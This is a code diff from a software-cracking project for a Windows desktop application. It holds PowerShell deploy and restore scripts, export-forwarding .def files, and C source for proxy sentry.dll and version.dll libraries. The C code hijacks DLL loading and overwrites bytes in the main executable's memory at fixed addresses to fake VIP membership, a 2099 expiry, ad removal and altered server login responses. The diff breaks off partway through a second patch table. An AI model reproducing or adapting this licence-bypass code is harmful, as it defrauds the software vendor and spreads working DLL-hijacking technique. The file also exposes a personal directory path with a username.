Copy-Item -Path $sentryBackup -Destination $sentryTarget -Force
|
||||
Write-Host "[+] 已恢复官方原版 sentry.dll" -ForegroundColor Green
|
||||
}
|
||||
|
||||
# 2. 清理临时转发库
|
||||
if (Test-Path $sentryOrig) {
|
||||
Remove-Item -Path $sentryOrig -Force
|
||||
Write-Host "[+] 已清理 sentry_orig.dll" -ForegroundColor Green
|
||||
}
|
||||
|
||||
Write-Host "`n[✔] 所有 DLL 组件已完全恢复为官方原始状态!" -ForegroundColor Yellow
|
||||
@@ -0,0 +1,18 @@
|
||||
$targetDll = "<本地路径>"
|
||||
$artifactDll = "<本地路径>"
|
||||
|
||||
Write-Host "[*] 正在平稳清理占用进程..." -ForegroundColor Cyan
|
||||
|
||||
# 终止所有相关进程
|
||||
$procNames = @('crashpad_handler', 'CefViewWing', '项目B', '项目B', '项目B', '项目BRemoteBackend', '项目BRemoteHealthd')
|
||||
Get-Process | Where-Object { $procNames -contains $_.ProcessName } | Stop-Process -Force -ErrorAction SilentlyContinue
|
||||
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
try {
|
||||
Copy-Item -Path $artifactDll -Destination $targetDll -Force
|
||||
Write-Host "[✔] 成功将最新 V3 版 version.dll 写入 项目B 根目录!" -ForegroundColor Green
|
||||
Write-Host "[✔] 进程隔离机制已部署:仅对 项目B.exe 注入,彻底杜绝 Err=487。" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Warning "文件仍被占用,错误信息: $_"
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
LIBRARY sentry
|
||||
EXPORTS
|
||||
sentry_add_breadcrumb = sentry_orig.sentry_add_breadcrumb
|
||||
sentry_capture_event = sentry_orig.sentry_capture_event
|
||||
sentry_clear_crashed_last_run = sentry_orig.sentry_clear_crashed_last_run
|
||||
sentry_clear_modulecache = sentry_orig.sentry_clear_modulecache
|
||||
sentry_close = sentry_orig.sentry_close
|
||||
sentry_end_session = sentry_orig.sentry_end_session
|
||||
sentry_envelope_free = sentry_orig.sentry_envelope_free
|
||||
sentry_envelope_get_event = sentry_orig.sentry_envelope_get_event
|
||||
sentry_envelope_get_transaction = sentry_orig.sentry_envelope_get_transaction
|
||||
sentry_envelope_serialize = sentry_orig.sentry_envelope_serialize
|
||||
sentry_envelope_write_to_file = sentry_orig.sentry_envelope_write_to_file
|
||||
sentry_event_add_exception = sentry_orig.sentry_event_add_exception
|
||||
sentry_event_add_thread = sentry_orig.sentry_event_add_thread
|
||||
sentry_event_value_add_stacktrace = sentry_orig.sentry_event_value_add_stacktrace
|
||||
sentry_flush = sentry_orig.sentry_flush
|
||||
sentry_free = sentry_orig.sentry_free
|
||||
sentry_get_crashed_last_run = sentry_orig.sentry_get_crashed_last_run
|
||||
sentry_get_modules_list = sentry_orig.sentry_get_modules_list
|
||||
sentry_handle_exception = sentry_orig.sentry_handle_exception
|
||||
sentry_init = sentry_orig.sentry_init
|
||||
sentry_malloc = sentry_orig.sentry_malloc
|
||||
sentry_new_function_transport = sentry_orig.sentry_new_function_transport
|
||||
sentry_options_add_attachment = sentry_orig.sentry_options_add_attachment
|
||||
sentry_options_add_attachmentw = sentry_orig.sentry_options_add_attachmentw
|
||||
sentry_options_free = sentry_orig.sentry_options_free
|
||||
sentry_options_get_auto_session_tracking = sentry_orig.sentry_options_get_auto_session_tracking
|
||||
sentry_options_get_ca_certs = sentry_orig.sentry_options_get_ca_certs
|
||||
sentry_options_get_debug = sentry_orig.sentry_options_get_debug
|
||||
sentry_options_get_dist = sentry_orig.sentry_options_get_dist
|
||||
sentry_options_get_dsn = sentry_orig.sentry_options_get_dsn
|
||||
sentry_options_get_environment = sentry_orig.sentry_options_get_environment
|
||||
sentry_options_get_http_proxy = sentry_orig.sentry_options_get_http_proxy
|
||||
sentry_options_get_max_breadcrumbs = sentry_orig.sentry_options_get_max_breadcrumbs
|
||||
sentry_options_get_max_spans = sentry_orig.sentry_options_get_max_spans
|
||||
sentry_options_get_release = sentry_orig.sentry_options_get_release
|
||||
sentry_options_get_require_user_consent = sentry_orig.sentry_options_get_require_user_consent
|
||||
sentry_options_get_sample_rate = sentry_orig.sentry_options_get_sample_rate
|
||||
sentry_options_get_shutdown_timeout = sentry_orig.sentry_options_get_shutdown_timeout
|
||||
sentry_options_get_symbolize_stacktraces = sentry_orig.sentry_options_get_symbolize_stacktraces
|
||||
sentry_options_get_traces_sample_rate = sentry_orig.sentry_options_get_traces_sample_rate
|
||||
sentry_options_get_transport_thread_name = sentry_orig.sentry_options_get_transport_thread_name
|
||||
sentry_options_new = sentry_orig.sentry_options_new
|
||||
sentry_options_set_auto_session_tracking = sentry_orig.sentry_options_set_auto_session_tracking
|
||||
sentry_options_set_backend = sentry_orig.sentry_options_set_backend
|
||||
sentry_options_set_before_send = sentry_orig.sentry_options_set_before_send
|
||||
sentry_options_set_ca_certs = sentry_orig.sentry_options_set_ca_certs
|
||||
sentry_options_set_database_path = sentry_orig.sentry_options_set_database_path
|
||||
sentry_options_set_database_pathw = sentry_orig.sentry_options_set_database_pathw
|
||||
sentry_options_set_debug = sentry_orig.sentry_options_set_debug
|
||||
sentry_options_set_dist = sentry_orig.sentry_options_set_dist
|
||||
sentry_options_set_dsn = sentry_orig.sentry_options_set_dsn
|
||||
sentry_options_set_environment = sentry_orig.sentry_options_set_environment
|
||||
sentry_options_set_handler_path = sentry_orig.sentry_options_set_handler_path
|
||||
sentry_options_set_handler_pathw = sentry_orig.sentry_options_set_handler_pathw
|
||||
sentry_options_set_http_proxy = sentry_orig.sentry_options_set_http_proxy
|
||||
sentry_options_set_logger = sentry_orig.sentry_options_set_logger
|
||||
sentry_options_set_max_breadcrumbs = sentry_orig.sentry_options_set_max_breadcrumbs
|
||||
sentry_options_set_max_spans = sentry_orig.sentry_options_set_max_spans
|
||||
sentry_options_set_on_crash = sentry_orig.sentry_options_set_on_crash
|
||||
sentry_options_set_release = sentry_orig.sentry_options_set_release
|
||||
sentry_options_set_require_user_consent = sentry_orig.sentry_options_set_require_user_consent
|
||||
sentry_options_set_sample_rate = sentry_orig.sentry_options_set_sample_rate
|
||||
sentry_options_set_shutdown_timeout = sentry_orig.sentry_options_set_shutdown_timeout
|
||||
sentry_options_set_symbolize_stacktraces = sentry_orig.sentry_options_set_symbolize_stacktraces
|
||||
sentry_options_set_system_crash_reporter_enabled = sentry_orig.sentry_options_set_system_crash_reporter_enabled
|
||||
sentry_options_set_traces_sample_rate = sentry_orig.sentry_options_set_traces_sample_rate
|
||||
sentry_options_set_transport = sentry_orig.sentry_options_set_transport
|
||||
sentry_options_set_transport_thread_name = sentry_orig.sentry_options_set_transport_thread_name
|
||||
sentry_reinstall_backend = sentry_orig.sentry_reinstall_backend
|
||||
sentry_remove_context = sentry_orig.sentry_remove_context
|
||||
sentry_remove_extra = sentry_orig.sentry_remove_extra
|
||||
sentry_remove_fingerprint = sentry_orig.sentry_remove_fingerprint
|
||||
sentry_remove_tag = sentry_orig.sentry_remove_tag
|
||||
sentry_remove_user = sentry_orig.sentry_remove_user
|
||||
sentry_sdk_name = sentry_orig.sentry_sdk_name
|
||||
sentry_sdk_user_agent = sentry_orig.sentry_sdk_user_agent
|
||||
sentry_sdk_version = sentry_orig.sentry_sdk_version
|
||||
sentry_set_context = sentry_orig.sentry_set_context
|
||||
sentry_set_extra = sentry_orig.sentry_set_extra
|
||||
sentry_set_fingerprint = sentry_orig.sentry_set_fingerprint
|
||||
sentry_set_level = sentry_orig.sentry_set_level
|
||||
sentry_set_span = sentry_orig.sentry_set_span
|
||||
sentry_set_tag = sentry_orig.sentry_set_tag
|
||||
sentry_set_transaction = sentry_orig.sentry_set_transaction
|
||||
sentry_set_transaction_object = sentry_orig.sentry_set_transaction_object
|
||||
sentry_set_user = sentry_orig.sentry_set_user
|
||||
sentry_shutdown = sentry_orig.sentry_shutdown
|
||||
sentry_span_finish = sentry_orig.sentry_span_finish
|
||||
sentry_span_iter_headers = sentry_orig.sentry_span_iter_headers
|
||||
sentry_span_remove_data = sentry_orig.sentry_span_remove_data
|
||||
sentry_span_remove_tag = sentry_orig.sentry_span_remove_tag
|
||||
sentry_span_set_data = sentry_orig.sentry_span_set_data
|
||||
sentry_span_set_status = sentry_orig.sentry_span_set_status
|
||||
sentry_span_set_tag = sentry_orig.sentry_span_set_tag
|
||||
sentry_span_start_child = sentry_orig.sentry_span_start_child
|
||||
sentry_start_session = sentry_orig.sentry_start_session
|
||||
sentry_transaction_context_new = sentry_orig.sentry_transaction_context_new
|
||||
sentry_transaction_context_remove_sampled = sentry_orig.sentry_transaction_context_remove_sampled
|
||||
sentry_transaction_context_set_name = sentry_orig.sentry_transaction_context_set_name
|
||||
sentry_transaction_context_set_operation = sentry_orig.sentry_transaction_context_set_operation
|
||||
sentry_transaction_context_set_sampled = sentry_orig.sentry_transaction_context_set_sampled
|
||||
sentry_transaction_context_update_from_header = sentry_orig.sentry_transaction_context_update_from_header
|
||||
sentry_transaction_finish = sentry_orig.sentry_transaction_finish
|
||||
sentry_transaction_iter_headers = sentry_orig.sentry_transaction_iter_headers
|
||||
sentry_transaction_remove_data = sentry_orig.sentry_transaction_remove_data
|
||||
sentry_transaction_remove_tag = sentry_orig.sentry_transaction_remove_tag
|
||||
sentry_transaction_set_data = sentry_orig.sentry_transaction_set_data
|
||||
sentry_transaction_set_name = sentry_orig.sentry_transaction_set_name
|
||||
sentry_transaction_set_status = sentry_orig.sentry_transaction_set_status
|
||||
sentry_transaction_set_tag = sentry_orig.sentry_transaction_set_tag
|
||||
sentry_transaction_start = sentry_orig.sentry_transaction_start
|
||||
sentry_transaction_start_child = sentry_orig.sentry_transaction_start_child
|
||||
sentry_transport_free = sentry_orig.sentry_transport_free
|
||||
sentry_transport_new = sentry_orig.sentry_transport_new
|
||||
sentry_transport_set_flush_func = sentry_orig.sentry_transport_set_flush_func
|
||||
sentry_transport_set_free_func = sentry_orig.sentry_transport_set_free_func
|
||||
sentry_transport_set_shutdown_func = sentry_orig.sentry_transport_set_shutdown_func
|
||||
sentry_transport_set_startup_func = sentry_orig.sentry_transport_set_startup_func
|
||||
sentry_transport_set_state = sentry_orig.sentry_transport_set_state
|
||||
sentry_unwind_stack = sentry_orig.sentry_unwind_stack
|
||||
sentry_unwind_stack_from_ucontext = sentry_orig.sentry_unwind_stack_from_ucontext
|
||||
sentry_user_consent_get = sentry_orig.sentry_user_consent_get
|
||||
sentry_user_consent_give = sentry_orig.sentry_user_consent_give
|
||||
sentry_user_consent_reset = sentry_orig.sentry_user_consent_reset
|
||||
sentry_user_consent_revoke = sentry_orig.sentry_user_consent_revoke
|
||||
sentry_uuid_as_bytes = sentry_orig.sentry_uuid_as_bytes
|
||||
sentry_uuid_as_string = sentry_orig.sentry_uuid_as_string
|
||||
sentry_uuid_from_bytes = sentry_orig.sentry_uuid_from_bytes
|
||||
sentry_uuid_from_string = sentry_orig.sentry_uuid_from_string
|
||||
sentry_uuid_is_nil = sentry_orig.sentry_uuid_is_nil
|
||||
sentry_uuid_new_v4 = sentry_orig.sentry_uuid_new_v4
|
||||
sentry_uuid_nil = sentry_orig.sentry_uuid_nil
|
||||
sentry_value_append = sentry_orig.sentry_value_append
|
||||
sentry_value_as_double = sentry_orig.sentry_value_as_double
|
||||
sentry_value_as_int32 = sentry_orig.sentry_value_as_int32
|
||||
sentry_value_as_string = sentry_orig.sentry_value_as_string
|
||||
sentry_value_decref = sentry_orig.sentry_value_decref
|
||||
sentry_value_freeze = sentry_orig.sentry_value_freeze
|
||||
sentry_value_get_by_index = sentry_orig.sentry_value_get_by_index
|
||||
sentry_value_get_by_index_owned = sentry_orig.sentry_value_get_by_index_owned
|
||||
sentry_value_get_by_key = sentry_orig.sentry_value_get_by_key
|
||||
sentry_value_get_by_key_owned = sentry_orig.sentry_value_get_by_key_owned
|
||||
sentry_value_get_length = sentry_orig.sentry_value_get_length
|
||||
sentry_value_get_type = sentry_orig.sentry_value_get_type
|
||||
sentry_value_incref = sentry_orig.sentry_value_incref
|
||||
sentry_value_is_frozen = sentry_orig.sentry_value_is_frozen
|
||||
sentry_value_is_null = sentry_orig.sentry_value_is_null
|
||||
sentry_value_is_true = sentry_orig.sentry_value_is_true
|
||||
sentry_value_new_bool = sentry_orig.sentry_value_new_bool
|
||||
sentry_value_new_breadcrumb = sentry_orig.sentry_value_new_breadcrumb
|
||||
sentry_value_new_double = sentry_orig.sentry_value_new_double
|
||||
sentry_value_new_event = sentry_orig.sentry_value_new_event
|
||||
sentry_value_new_exception = sentry_orig.sentry_value_new_exception
|
||||
sentry_value_new_int32 = sentry_orig.sentry_value_new_int32
|
||||
sentry_value_new_list = sentry_orig.sentry_value_new_list
|
||||
sentry_value_new_message_event = sentry_orig.sentry_value_new_message_event
|
||||
sentry_value_new_null = sentry_orig.sentry_value_new_null
|
||||
sentry_value_new_object = sentry_orig.sentry_value_new_object
|
||||
sentry_value_new_stacktrace = sentry_orig.sentry_value_new_stacktrace
|
||||
sentry_value_new_string = sentry_orig.sentry_value_new_string
|
||||
sentry_value_new_thread = sentry_orig.sentry_value_new_thread
|
||||
sentry_value_refcount = sentry_orig.sentry_value_refcount
|
||||
sentry_value_remove_by_index = sentry_orig.sentry_value_remove_by_index
|
||||
sentry_value_remove_by_key = sentry_orig.sentry_value_remove_by_key
|
||||
sentry_value_set_by_index = sentry_orig.sentry_value_set_by_index
|
||||
sentry_value_set_by_key = sentry_orig.sentry_value_set_by_key
|
||||
sentry_value_set_stacktrace = sentry_orig.sentry_value_set_stacktrace
|
||||
sentry_value_to_json = sentry_orig.sentry_value_to_json
|
||||
sentry_value_to_msgpack = sentry_orig.sentry_value_to_msgpack
|
||||
@@ -0,0 +1,169 @@
|
||||
sentry_add_breadcrumb
|
||||
sentry_capture_event
|
||||
sentry_clear_crashed_last_run
|
||||
sentry_clear_modulecache
|
||||
sentry_close
|
||||
sentry_end_session
|
||||
sentry_envelope_free
|
||||
sentry_envelope_get_event
|
||||
sentry_envelope_get_transaction
|
||||
sentry_envelope_serialize
|
||||
sentry_envelope_write_to_file
|
||||
sentry_event_add_exception
|
||||
sentry_event_add_thread
|
||||
sentry_event_value_add_stacktrace
|
||||
sentry_flush
|
||||
sentry_free
|
||||
sentry_get_crashed_last_run
|
||||
sentry_get_modules_list
|
||||
sentry_handle_exception
|
||||
sentry_init
|
||||
sentry_malloc
|
||||
sentry_new_function_transport
|
||||
sentry_options_add_attachment
|
||||
sentry_options_add_attachmentw
|
||||
sentry_options_free
|
||||
sentry_options_get_auto_session_tracking
|
||||
sentry_options_get_ca_certs
|
||||
sentry_options_get_debug
|
||||
sentry_options_get_dist
|
||||
sentry_options_get_dsn
|
||||
sentry_options_get_environment
|
||||
sentry_options_get_http_proxy
|
||||
sentry_options_get_max_breadcrumbs
|
||||
sentry_options_get_max_spans
|
||||
sentry_options_get_release
|
||||
sentry_options_get_require_user_consent
|
||||
sentry_options_get_sample_rate
|
||||
sentry_options_get_shutdown_timeout
|
||||
sentry_options_get_symbolize_stacktraces
|
||||
sentry_options_get_traces_sample_rate
|
||||
sentry_options_get_transport_thread_name
|
||||
sentry_options_new
|
||||
sentry_options_set_auto_session_tracking
|
||||
sentry_options_set_backend
|
||||
sentry_options_set_before_send
|
||||
sentry_options_set_ca_certs
|
||||
sentry_options_set_database_path
|
||||
sentry_options_set_database_pathw
|
||||
sentry_options_set_debug
|
||||
sentry_options_set_dist
|
||||
sentry_options_set_dsn
|
||||
sentry_options_set_environment
|
||||
sentry_options_set_handler_path
|
||||
sentry_options_set_handler_pathw
|
||||
sentry_options_set_http_proxy
|
||||
sentry_options_set_logger
|
||||
sentry_options_set_max_breadcrumbs
|
||||
sentry_options_set_max_spans
|
||||
sentry_options_set_on_crash
|
||||
sentry_options_set_release
|
||||
sentry_options_set_require_user_consent
|
||||
sentry_options_set_sample_rate
|
||||
sentry_options_set_shutdown_timeout
|
||||
sentry_options_set_symbolize_stacktraces
|
||||
sentry_options_set_system_crash_reporter_enabled
|
||||
sentry_options_set_traces_sample_rate
|
||||
sentry_options_set_transport
|
||||
sentry_options_set_transport_thread_name
|
||||
sentry_reinstall_backend
|
||||
sentry_remove_context
|
||||
sentry_remove_extra
|
||||
sentry_remove_fingerprint
|
||||
sentry_remove_tag
|
||||
sentry_remove_user
|
||||
sentry_sdk_name
|
||||
sentry_sdk_user_agent
|
||||
sentry_sdk_version
|
||||
sentry_set_context
|
||||
sentry_set_extra
|
||||
sentry_set_fingerprint
|
||||
sentry_set_level
|
||||
sentry_set_span
|
||||
sentry_set_tag
|
||||
sentry_set_transaction
|
||||
sentry_set_transaction_object
|
||||
sentry_set_user
|
||||
sentry_shutdown
|
||||
sentry_span_finish
|
||||
sentry_span_iter_headers
|
||||
sentry_span_remove_data
|
||||
sentry_span_remove_tag
|
||||
sentry_span_set_data
|
||||
sentry_span_set_status
|
||||
sentry_span_set_tag
|
||||
sentry_span_start_child
|
||||
sentry_start_session
|
||||
sentry_transaction_context_new
|
||||
sentry_transaction_context_remove_sampled
|
||||
sentry_transaction_context_set_name
|
||||
sentry_transaction_context_set_operation
|
||||
sentry_transaction_context_set_sampled
|
||||
sentry_transaction_context_update_from_header
|
||||
sentry_transaction_finish
|
||||
sentry_transaction_iter_headers
|
||||
sentry_transaction_remove_data
|
||||
sentry_transaction_remove_tag
|
||||
sentry_transaction_set_data
|
||||
sentry_transaction_set_name
|
||||
sentry_transaction_set_status
|
||||
sentry_transaction_set_tag
|
||||
sentry_transaction_start
|
||||
sentry_transaction_start_child
|
||||
sentry_transport_free
|
||||
sentry_transport_new
|
||||
sentry_transport_set_flush_func
|
||||
sentry_transport_set_free_func
|
||||
sentry_transport_set_shutdown_func
|
||||
sentry_transport_set_startup_func
|
||||
sentry_transport_set_state
|
||||
sentry_unwind_stack
|
||||
sentry_unwind_stack_from_ucontext
|
||||
sentry_user_consent_get
|
||||
sentry_user_consent_give
|
||||
sentry_user_consent_reset
|
||||
sentry_user_consent_revoke
|
||||
sentry_uuid_as_bytes
|
||||
sentry_uuid_as_string
|
||||
sentry_uuid_from_bytes
|
||||
sentry_uuid_from_string
|
||||
sentry_uuid_is_nil
|
||||
sentry_uuid_new_v4
|
||||
sentry_uuid_nil
|
||||
sentry_value_append
|
||||
sentry_value_as_double
|
||||
sentry_value_as_int32
|
||||
sentry_value_as_string
|
||||
sentry_value_decref
|
||||
sentry_value_freeze
|
||||
sentry_value_get_by_index
|
||||
sentry_value_get_by_index_owned
|
||||
sentry_value_get_by_key
|
||||
sentry_value_get_by_key_owned
|
||||
sentry_value_get_length
|
||||
sentry_value_get_type
|
||||
sentry_value_incref
|
||||
sentry_value_is_frozen
|
||||
sentry_value_is_null
|
||||
sentry_value_is_true
|
||||
sentry_value_new_bool
|
||||
sentry_value_new_breadcrumb
|
||||
sentry_value_new_double
|
||||
sentry_value_new_event
|
||||
sentry_value_new_exception
|
||||
sentry_value_new_int32
|
||||
sentry_value_new_list
|
||||
sentry_value_new_message_event
|
||||
sentry_value_new_null
|
||||
sentry_value_new_object
|
||||
sentry_value_new_stacktrace
|
||||
sentry_value_new_string
|
||||
sentry_value_new_thread
|
||||
sentry_value_refcount
|
||||
sentry_value_remove_by_index
|
||||
sentry_value_remove_by_key
|
||||
sentry_value_set_by_index
|
||||
sentry_value_set_by_key
|
||||
sentry_value_set_stacktrace
|
||||
sentry_value_to_json
|
||||
sentry_value_to_msgpack
|
||||
@@ -0,0 +1,125 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
// ==============================================================================
|
||||
// 项目B Player Local Guard & Pure Patch Proxy DLL (sentry.dll)
|
||||
// ==============================================================================
|
||||
|
||||
typedef struct {
|
||||
const char* name;
|
||||
DWORD rva;
|
||||
BYTE patch[16];
|
||||
BYTE orig[16];
|
||||
size_t len;
|
||||
} PatchPoint;
|
||||
|
||||
// 基于当前版本 项目B.exe (SHA256: <实测哈希>)
|
||||
// 经过点位校准的内存热补丁表
|
||||
static PatchPoint g_Patches[] = {
|
||||
// 1. 账号序列化 A: 到期时间固定为 2099-12-31 (0xF485E67F)
|
||||
{ "serialize_a_expiry", 0x01073B8E, { 0xb8, 0x7f, 0xe6, 0x85, 0xf4, 0x90, 0x90 }, { 0x48, 0x8b, 0x85, 0xc8, 0x02, 0x00, 0x00 }, 7 },
|
||||
// 2. 账号序列化 A: 会员状态强制为 1 (VIP)
|
||||
{ "serialize_a_member_status", 0x01073C8F, { 0xb8, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x85, 0xd4, 0x02, 0x00, 0x00 }, 6 },
|
||||
// 3. 账号序列化 A: 会员类型强制为 VIP (1)
|
||||
{ "serialize_a_member_type", 0x01073D80, { 0xb8, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x85, 0xd8, 0x02, 0x00, 0x00 }, 6 },
|
||||
// 4. 账号序列化 A: 当前设备权益强制启用 (1)
|
||||
{ "serialize_a_device_member", 0x01073F70, { 0xb8, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x85, 0x08, 0x03, 0x00, 0x00 }, 6 },
|
||||
// 5. 账号序列化 A: 试用状态设为已使用/非活动 (2)
|
||||
{ "serialize_a_trial", 0x01074042, { 0xb8, 0x02, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x85, 0x00, 0x03, 0x00, 0x00 }, 6 },
|
||||
|
||||
// 6. 账号序列化 B: 到期时间固定为 2099-12-31 (0xF485E67F)
|
||||
{ "serialize_b_expiry", 0x0107EE70, { 0xb9, 0x7f, 0xe6, 0x85, 0xf4, 0x90, 0x90 }, { 0x48, 0x8b, 0x8d, 0x78, 0x03, 0x00, 0x00 }, 7 },
|
||||
// 7. 账号序列化 B: 会员状态强制为 1 (VIP)
|
||||
{ "serialize_b_member_status", 0x0107EF72, { 0xb9, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x8d, 0x84, 0x03, 0x00, 0x00 }, 6 },
|
||||
// 8. 账号序列化 B: 当前设备权益强制启用 (1)
|
||||
{ "serialize_b_device_member", 0x0107F13D, { 0xb9, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x8d, 0x88, 0x03, 0x00, 0x00 }, 6 },
|
||||
// 9. 账号序列化 B: 会员类型强制为 VIP (1)
|
||||
{ "serialize_b_member_type", 0x0107F2EE, { 0xb9, 0x01, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x8d, 0xb0, 0x03, 0x00, 0x00 }, 6 },
|
||||
// 10. 账号序列化 B: 试用状态设为已使用/非活动 (2)
|
||||
{ "serialize_b_trial", 0x0107F3CD, { 0xb9, 0x02, 0x00, 0x00, 0x00, 0x90 }, { 0x8b, 0x8d, 0xb4, 0x03, 0x00, 0x00 }, 6 },
|
||||
|
||||
// 11. 跳过试用广告与推广 Banner 分支 (je/jle -> jmp)
|
||||
{ "skip_trial_banner_flow", 0x00CE541F, { 0xe9, 0xee, 0x00, 0x00, 0x00, 0x90 }, { 0x0f, 0x8e, 0xed, 0x00, 0x00, 0x00 }, 6 },
|
||||
|
||||
// 12. 广告移除触发函数入口: sub_14012A640
|
||||
// 直接返回 1 (mov eax, 1; ret)
|
||||
{ "member_remove_ad_ok_gate", 0x0012A640, { 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 }, { 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48 }, 6 }
|
||||
};
|
||||
|
||||
static const size_t g_NumPatches = sizeof(g_Patches) / sizeof(g_Patches[0]);
|
||||
|
||||
static void LogMessage(const char* format, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, format);
|
||||
vsnprintf(buf, sizeof(buf), format, args);
|
||||
va_end(args);
|
||||
|
||||
OutputDebugStringA(buf);
|
||||
|
||||
FILE* fp = fopen("C:\\Users\\Angus\\Desktop\\pi\\seep\\项目B\\localize\\logs\\项目B_local_guard.log", "a");
|
||||
if (fp) {
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d.%03d] %s\n",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, buf);
|
||||
fclose(fp);
|
||||
}
|
||||
}
|
||||
|
||||
static DWORD WINAPI GuardWorkerThread(LPVOID lpParam) {
|
||||
LogMessage("[+] 项目B Local Guard Thread Started");
|
||||
|
||||
// 预留足够时间等待主程序初始化和 PE 映射完成
|
||||
Sleep(1500);
|
||||
|
||||
HMODULE hMain = GetModuleHandleA(NULL);
|
||||
if (!hMain) {
|
||||
LogMessage("[-] Failed to get main module handle");
|
||||
return 1;
|
||||
}
|
||||
|
||||
uintptr_t base = (uintptr_t)hMain;
|
||||
LogMessage("[+] Main module base address: 0x%p", (void*)base);
|
||||
|
||||
size_t applied = 0;
|
||||
for (size_t i = 0; i < g_NumPatches; i++) {
|
||||
PatchPoint* p = &g_Patches[i];
|
||||
void* targetAddr = (void*)(base + p->rva);
|
||||
|
||||
// 验证内存保护属性并设置为可写
|
||||
DWORD oldProtect = 0;
|
||||
if (VirtualProtect(targetAddr, p->len, PAGE_EXECUTE_READWRITE, &oldProtect)) {
|
||||
// 核对原始字节匹配度(可选)
|
||||
if (memcmp(targetAddr, p->patch, p->len) == 0) {
|
||||
LogMessage("[*] Patch '%s' already applied at 0x%p", p->name, targetAddr);
|
||||
applied++;
|
||||
} else {
|
||||
memcpy(targetAddr, p->patch, p->len);
|
||||
FlushInstructionCache(GetCurrentProcess(), targetAddr, p->len);
|
||||
LogMessage("[+] Successfully applied patch '%s' at 0x%p", p->name, targetAddr);
|
||||
applied++;
|
||||
}
|
||||
VirtualProtect(targetAddr, p->len, oldProtect, &oldProtect);
|
||||
} else {
|
||||
LogMessage("[-] VirtualProtect failed for patch '%s' at 0x%p, Error=%lu",
|
||||
p->name, targetAddr, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
LogMessage("[SUCCESS] Total applied patches: %zu / %zu", applied, g_NumPatches);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
|
||||
switch (fdwReason) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
DisableThreadLibraryCalls(hinstDLL);
|
||||
CreateThread(NULL, 0, GuardWorkerThread, NULL, 0, NULL);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
LIBRARY version
|
||||
EXPORTS
|
||||
GetFileVersionInfoA = C:\Windows\System32\version.GetFileVersionInfoA
|
||||
GetFileVersionInfoByHandle = C:\Windows\System32\version.GetFileVersionInfoByHandle
|
||||
GetFileVersionInfoExA = C:\Windows\System32\version.GetFileVersionInfoExA
|
||||
GetFileVersionInfoExW = C:\Windows\System32\version.GetFileVersionInfoExW
|
||||
GetFileVersionInfoSizeA = C:\Windows\System32\version.GetFileVersionInfoSizeA
|
||||
GetFileVersionInfoSizeExA = C:\Windows\System32\version.GetFileVersionInfoSizeExA
|
||||
GetFileVersionInfoSizeExW = C:\Windows\System32\version.GetFileVersionInfoSizeExW
|
||||
GetFileVersionInfoSizeW = C:\Windows\System32\version.GetFileVersionInfoSizeW
|
||||
GetFileVersionInfoW = C:\Windows\System32\version.GetFileVersionInfoW
|
||||
VerFindFileA = C:\Windows\System32\version.VerFindFileA
|
||||
VerFindFileW = C:\Windows\System32\version.VerFindFileW
|
||||
VerInstallFileA = C:\Windows\System32\version.VerInstallFileA
|
||||
VerInstallFileW = C:\Windows\System32\version.VerInstallFileW
|
||||
VerLanguageNameA = C:\Windows\System32\version.VerLanguageNameA
|
||||
VerLanguageNameW = C:\Windows\System32\version.VerLanguageNameW
|
||||
VerQueryValueA = C:\Windows\System32\version.VerQueryValueA
|
||||
VerQueryValueW = C:\Windows\System32\version.VerQueryValueW
|
||||
@@ -0,0 +1,152 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define LOG_FILE "C:\\Users\\Angus\\Desktop\\pi\\seep\\项目B\\localize\\logs\\项目B_version_guard.log"
|
||||
|
||||
static void WriteLog(const char* fmt, ...) {
|
||||
FILE* fp = fopen(LOG_FILE, "a+");
|
||||
if (!fp) return;
|
||||
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
fprintf(fp, "[%04d-%02d-%02d %02d:%02d:%02d.%03d] ",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
|
||||
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
vfprintf(fp, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
fprintf(fp, "\n");
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
const char* id;
|
||||
DWORD rva;
|
||||
unsigned char patch[8];
|
||||
size_t len;
|
||||
const char* desc;
|
||||
} PatchPoint;
|
||||
|
||||
// 项目B.exe 精简高纯度、零堆栈破坏点位(包含 UI 决策与网络层,共 28 处)
|
||||
static const PatchPoint g_mainPatches[] = {
|
||||
// 0. 前台 UI 会员决策核心 (纯寄存器返回值,零栈干扰)
|
||||
{ "ui_member_check_direct", 0x00B47850, {0xb0, 0x01, 0xc3}, 3, "前台 UI 会员判定直接返回 1 (VIP)" },
|
||||
|
||||
// 1. 网络登录回包反序列化 (用户在线登录/刷新时直接改写服务端下发的值)
|
||||
